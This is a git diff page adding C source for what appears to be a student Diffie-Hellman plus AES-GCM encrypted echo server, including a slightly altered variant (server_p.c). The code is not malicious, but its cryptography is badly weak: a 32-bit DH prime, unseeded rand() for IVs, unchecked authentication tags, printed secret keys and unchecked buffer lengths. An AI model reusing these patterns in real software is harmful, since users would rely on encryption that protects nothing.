#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
|
||||
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
|
||||
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
|
||||
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
|
||||
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
|
||||
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
|
||||
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
|
||||
#define TD44(i) (Td4s[(i) & 0xff])
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
|
||||
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
|
||||
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
|
||||
|
||||
#endif /* AES_SMALL_TABLES */
|
||||
|
||||
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
|
||||
((aes_uint)(pt)[1] << 16) ^ \
|
||||
((aes_uint)(pt)[2] << 8) ^ \
|
||||
((aes_uint)(pt)[3]))
|
||||
#define PUTU32(ct, st) { \
|
||||
(ct)[0] = (aes_uchar)((st) >> 24); \
|
||||
(ct)[1] = (aes_uchar)((st) >> 16); \
|
||||
(ct)[2] = (aes_uchar)((st) >> 8); \
|
||||
(ct)[3] = (aes_uchar)(st); }
|
||||
|
||||
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
|
||||
#define AES_PRIV_NR_POS (4 * 15)
|
||||
|
||||
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
|
||||
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
|
||||
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||
|
||||
#endif /* AES_I_H */
|
70
server/aes.h
Normal file
70
server/aes.h
Normal file
@ -0,0 +1,70 @@
|
||||
#ifndef AES_H
|
||||
#define AES_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define AES_FULL_UNROLL
|
||||
#define AES_SMALL_TABLES
|
||||
#define AES_BLOCK_SIZE 16
|
||||
|
||||
#include "aes-common.h"
|
||||
#include "aes-internal.h"
|
||||
#include "aes-debug.h"
|
||||
|
||||
void * aes_encrypt_init(const aes_uchar *key, size_t len);
|
||||
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
|
||||
void aes_encrypt_deinit(void *ctx);
|
||||
void * aes_decrypt_init(const aes_uchar *key, size_t len);
|
||||
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
|
||||
void aes_decrypt_deinit(void *ctx);
|
||||
|
||||
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
|
||||
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
|
||||
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
|
||||
const aes_uchar *addr[], const size_t *len,
|
||||
aes_uchar *mac);
|
||||
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
|
||||
aes_uchar *mac);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
|
||||
aes_uchar *data, size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
|
||||
const aes_uchar *nonce, size_t nonce_len,
|
||||
const aes_uchar *hdr, size_t hdr_len,
|
||||
aes_uchar *data, size_t data_len, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
|
||||
const aes_uchar *nonce, size_t nonce_len,
|
||||
const aes_uchar *hdr, size_t hdr_len,
|
||||
aes_uchar *data, size_t data_len, const aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||
size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||
size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len,
|
||||
aes_uchar *crypt, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
|
||||
aes_uchar *plain);
|
||||
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||
size_t M, const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
|
||||
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||
size_t M, const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
|
||||
aes_uchar *plain);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* AES_H */
|
8
server/makefile
Normal file
8
server/makefile
Normal file
@ -0,0 +1,8 @@
|
||||
server:server.c aes-debug.o aes-gcm.o aes-internal.o
|
||||
gcc server.c -o server aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||
aes-debug.o:aes-debug.c
|
||||
gcc -c aes-debug.c -o aes-debug.o
|
||||
aes-gcm.o:aes-gcm.c
|
||||
gcc -c aes-gcm.c -o aes-gcm.o
|
||||
aes-internal.o:aes-internal.c
|
||||
gcc -c aes-internal.c -o aes-internal.o
|
8
server/makefile_p
Normal file
8
server/makefile_p
Normal file
@ -0,0 +1,8 @@
|
||||
server_p:server_p.c aes-debug.o aes-gcm.o aes-internal.o
|
||||
gcc server_p.c -o server_p aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||
aes-debug.o:aes-debug.c
|
||||
gcc -c aes-debug.c -o aes-debug.o
|
||||
aes-gcm.o:aes-gcm.c
|
||||
gcc -c aes-gcm.c -o aes-gcm.o
|
||||
aes-internal.o:aes-internal.c
|
||||
gcc -c aes-internal.c -o aes-internal.o
|
186
server/server.c
Normal file
186
server/server.c
Normal file
@ -0,0 +1,186 @@
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
#include "Diffie_hellman.c"
|
||||
#include "aes.h"
|
||||
#define MAX_size 256
|
||||
#define Sockaddr struct sockaddr
|
||||
|
||||
#define DEBUF
|
||||
// Function designed for chat between client and server.
|
||||
|
||||
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||
char buff[MAX_size];
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
int l=read(sockfd, buff, sizeof(buff));
|
||||
memcpy(add,buff+4,16);
|
||||
memcpy(iv,buff+16+4,12);
|
||||
memset(tag,0,16);
|
||||
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||
|
||||
}
|
||||
|
||||
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||
//add+iv
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
memset(tag,0,16);
|
||||
for(int j=0;j<16;j++)
|
||||
add[j]=rand()%256;
|
||||
for(int j=0;j<12;j++)
|
||||
iv[j]=rand()%256;
|
||||
//加密
|
||||
int tmp;
|
||||
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||
memcpy(cryptbuf + 4, add, 16);
|
||||
memcpy(cryptbuf + 20, iv, 12);
|
||||
memcpy(cryptbuf + 32, tag, 16);
|
||||
memcpy(cryptbuf, "data", 4);
|
||||
int f;
|
||||
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||
}
|
||||
|
||||
void DH_key_exchange_for_server(int sockfd, unsigned char* aes_key){
|
||||
Dh_key dh_key;
|
||||
char buff[MAX_size];
|
||||
init_numbers(&dh_key);
|
||||
|
||||
dh_key.urand = fopen("/dev/urandom","r");
|
||||
if(NULL == dh_key.urand)
|
||||
{
|
||||
fprintf(stderr, "Failed to init randomization\n");
|
||||
exit(1);
|
||||
}
|
||||
init_prime(32,&dh_key);
|
||||
//send p
|
||||
bzero(buff, MAX_size);
|
||||
memcpy(buff,"pri",3);
|
||||
mpz_get_str(buff+3,16,dh_key.prime);
|
||||
write(sockfd,buff,sizeof(buff));
|
||||
gmp_printf("p:%Zd\n",dh_key.prime);
|
||||
|
||||
//receive A
|
||||
bzero(buff, MAX_size);
|
||||
read(sockfd,buff,sizeof(buff));
|
||||
mpz_t key_from_c;
|
||||
mpz_init(key_from_c);
|
||||
mpz_set_str(key_from_c,buff+3,16);
|
||||
gmp_printf("A:%Zd\n",key_from_c);
|
||||
|
||||
//calculate private key b
|
||||
generate_key(32, &dh_key);
|
||||
gmp_printf("b:%Zd\n",dh_key.private_key);
|
||||
|
||||
//B=g^b(mod p)
|
||||
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
|
||||
gmp_printf("B:%Zd\n",dh_key.public_key);
|
||||
|
||||
//send B
|
||||
bzero(buff, MAX_size);
|
||||
memcpy(buff,"pub",3);
|
||||
mpz_get_str(buff+3,16,dh_key.public_key);
|
||||
write(sockfd, buff, sizeof(buff));
|
||||
|
||||
//calc s=g^(ab)
|
||||
bzero(buff,sizeof(buff));
|
||||
mpz_powm(dh_key.key, key_from_c, dh_key.private_key, dh_key.prime);
|
||||
mpz_get_str(buff,16,dh_key.key);
|
||||
memcpy(aes_key,str2hex(buff),32);
|
||||
fclose(dh_key.urand);
|
||||
clear_numbers(&dh_key);
|
||||
}
|
||||
|
||||
void echo(int sockfd)
|
||||
{
|
||||
char buff[MAX_size];
|
||||
int n;
|
||||
char aes_key[32];
|
||||
char echobuf[MAX_size+5];
|
||||
bzero(echobuf, sizeof(echobuf));
|
||||
// negotiate key for aes 256
|
||||
DH_key_exchange_for_server(sockfd, aes_key);
|
||||
printf("\n");
|
||||
print_hex(aes_key, 32);
|
||||
for (;;) {
|
||||
bzero(buff, sizeof(buff));
|
||||
// read message from client
|
||||
recv_msg(sockfd, buff, aes_key);
|
||||
// print buffer
|
||||
printf("Client: %s", buff);
|
||||
|
||||
// generate echo
|
||||
memcpy(echobuf,"ECHO:",5);
|
||||
memcpy(echobuf+5,buff,strlen(buff));
|
||||
// send echo
|
||||
send_msg(sockfd, echobuf, strlen(echobuf),aes_key);
|
||||
bzero(echobuf, sizeof(echobuf));
|
||||
// Exit to stop service
|
||||
if (strncmp("exit", buff, 4) == 0) {
|
||||
printf("Server Exit...\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// main echo
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int sockfd, connfd, len;
|
||||
struct sockaddr_in servaddr, cli;
|
||||
|
||||
// socket create and verification
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sockfd == -1) {
|
||||
printf("socket creation failed...\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("Socket successfully created..\n");
|
||||
bzero(&servaddr, sizeof(servaddr));
|
||||
|
||||
// assign IP, PORT
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||
servaddr.sin_port = htons(atoi(argv[1]));
|
||||
|
||||
// Binding newly created socket to given IP and verification
|
||||
if ((bind(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr))) != 0) {
|
||||
printf("socket bind failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("Socket successfully binded..\n");
|
||||
|
||||
// start listen
|
||||
if ((listen(sockfd, 5)) != 0) {
|
||||
printf("listen failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("start listening\n");
|
||||
len = sizeof(cli);
|
||||
|
||||
// Accept the data packet from client and verification
|
||||
connfd = accept(sockfd, (Sockaddr*)&cli, &len);
|
||||
if (connfd < 0) {
|
||||
printf("server acccept failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("connected\n");
|
||||
|
||||
// callback echo
|
||||
echo(connfd);
|
||||
|
||||
// close socket
|
||||
close(sockfd);
|
||||
}
|
||||
|
189
server/server_p.c
Normal file
189
server/server_p.c
Normal file
@ -0,0 +1,189 @@
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
#include "Diffie_hellman.c"
|
||||
#include "aes.h"
|
||||
#define MAX_size 256
|
||||
#define Sockaddr struct sockaddr
|
||||
|
||||
#define DEBUF
|
||||
// Function designed for chat between client and server.
|
||||
|
||||
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||
char buff[MAX_size];
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
int l=read(sockfd, buff, sizeof(buff));
|
||||
memcpy(add,buff+4,16);
|
||||
memcpy(iv,buff+16+4,12);
|
||||
memset(tag,0,16);
|
||||
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||
|
||||
}
|
||||
|
||||
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||
//add+iv
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
memset(tag,0,16);
|
||||
for(int j=0;j<16;j++)
|
||||
add[j]=rand()%256;
|
||||
for(int j=0;j<12;j++)
|
||||
iv[j]=rand()%256;
|
||||
//加密
|
||||
int tmp;
|
||||
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||
memcpy(cryptbuf + 4, add, 16);
|
||||
memcpy(cryptbuf + 20, iv, 12);
|
||||
memcpy(cryptbuf + 32, tag, 16);
|
||||
memcpy(cryptbuf, "daaa", 4);
|
||||
int f;
|
||||
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||
}
|
||||
|
||||
void DH_key_exchange_for_server(int sockfd, unsigned char* aes_key){
|
||||
Dh_key dh_key;
|
||||
char buff[MAX_size];
|
||||
init_numbers(&dh_key);
|
||||
|
||||
dh_key.urand = fopen("/dev/urandom","r");
|
||||
if(NULL == dh_key.urand)
|
||||
{
|
||||
fprintf(stderr, "Failed to init randomization\n");
|
||||
exit(1);
|
||||
}
|
||||
init_prime(32,&dh_key);
|
||||
//send p
|
||||
bzero(buff, MAX_size);
|
||||
memcpy(buff,"prt",3);
|
||||
mpz_get_str(buff+3,16,dh_key.prime);
|
||||
write(sockfd,buff,sizeof(buff));
|
||||
gmp_printf("p:%Zd\n",dh_key.prime);
|
||||
|
||||
//receive A
|
||||
bzero(buff, MAX_size);
|
||||
read(sockfd,buff,sizeof(buff));
|
||||
mpz_t key_from_c;
|
||||
mpz_init(key_from_c);
|
||||
mpz_set_str(key_from_c,buff+3,16);
|
||||
gmp_printf("A:%Zd\n",key_from_c);
|
||||
|
||||
//calculate private key b
|
||||
generate_key(32, &dh_key);
|
||||
gmp_printf("b:%Zd\n",dh_key.private_key);
|
||||
|
||||
//B=g^b(mod p)
|
||||
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
|
||||
gmp_printf("B:%Zd\n\n",dh_key.public_key);
|
||||
|
||||
//send B
|
||||
bzero(buff, MAX_size);
|
||||
memcpy(buff,"pud",3);
|
||||
mpz_get_str(buff+3,16,dh_key.public_key);
|
||||
write(sockfd, buff, sizeof(buff));
|
||||
|
||||
//calc s=g^(ab)
|
||||
bzero(buff,sizeof(buff));
|
||||
mpz_powm(dh_key.key, key_from_c, dh_key.private_key, dh_key.prime);
|
||||
mpz_get_str(buff,16,dh_key.key);
|
||||
memcpy(aes_key,str2hex(buff),32);
|
||||
fclose(dh_key.urand);
|
||||
clear_numbers(&dh_key);
|
||||
}
|
||||
|
||||
void echo(int sockfd)
|
||||
{
|
||||
char buff[MAX_size];
|
||||
int n;
|
||||
char aes_key[32];
|
||||
char echobuf[MAX_size+5];
|
||||
bzero(echobuf, sizeof(echobuf));
|
||||
// negotiate key for aes 256
|
||||
DH_key_exchange_for_server(sockfd, aes_key);
|
||||
print_hex(aes_key, 32);
|
||||
for (;;) {
|
||||
bzero(buff, sizeof(buff));
|
||||
// read message from client
|
||||
recv_msg(sockfd, buff, aes_key);
|
||||
// print buffer
|
||||
printf("Client: %s", buff);
|
||||
|
||||
// generate echo
|
||||
memcpy(echobuf,"ECHO:",5);
|
||||
memcpy(echobuf+5,buff,strlen(buff));
|
||||
// send echo
|
||||
send_msg(sockfd, echobuf, strlen(echobuf),aes_key);
|
||||
bzero(echobuf, sizeof(echobuf));
|
||||
// Exit to stop service
|
||||
if (strncmp("exit", buff, 4) == 0) {
|
||||
printf("Server Exit...\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// main echo
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if(argc!=2){
|
||||
puts("./server port");
|
||||
return 0;
|
||||
}
|
||||
int sockfd, connfd, len;
|
||||
struct sockaddr_in servaddr, cli;
|
||||
|
||||
// socket create and verification
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sockfd == -1) {
|
||||
printf("socket creation failed...\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("Socket successfully created..\n");
|
||||
bzero(&servaddr, sizeof(servaddr));
|
||||
|
||||
// assign IP, PORT
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||
servaddr.sin_port = htons(atoi(argv[1]));
|
||||
|
||||
// Binding newly created socket to given IP and verification
|
||||
if ((bind(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr))) != 0) {
|
||||
printf("socket bind failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("Socket successfully binded..\n");
|
||||
|
||||
// start listen
|
||||
if ((listen(sockfd, 5)) != 0) {
|
||||
printf("listen failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("start listening\n");
|
||||
len = sizeof(cli);
|
||||
|
||||
// Accept the data packet from client and verification
|
||||
connfd = accept(sockfd, (Sockaddr*)&cli, &len);
|
||||
if (connfd < 0) {
|
||||
printf("server acccept failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("connected\n");
|
||||
|
||||
// callback echo
|
||||
echo(connfd);
|
||||
|
||||
// close socket
|
||||
close(sockfd);
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user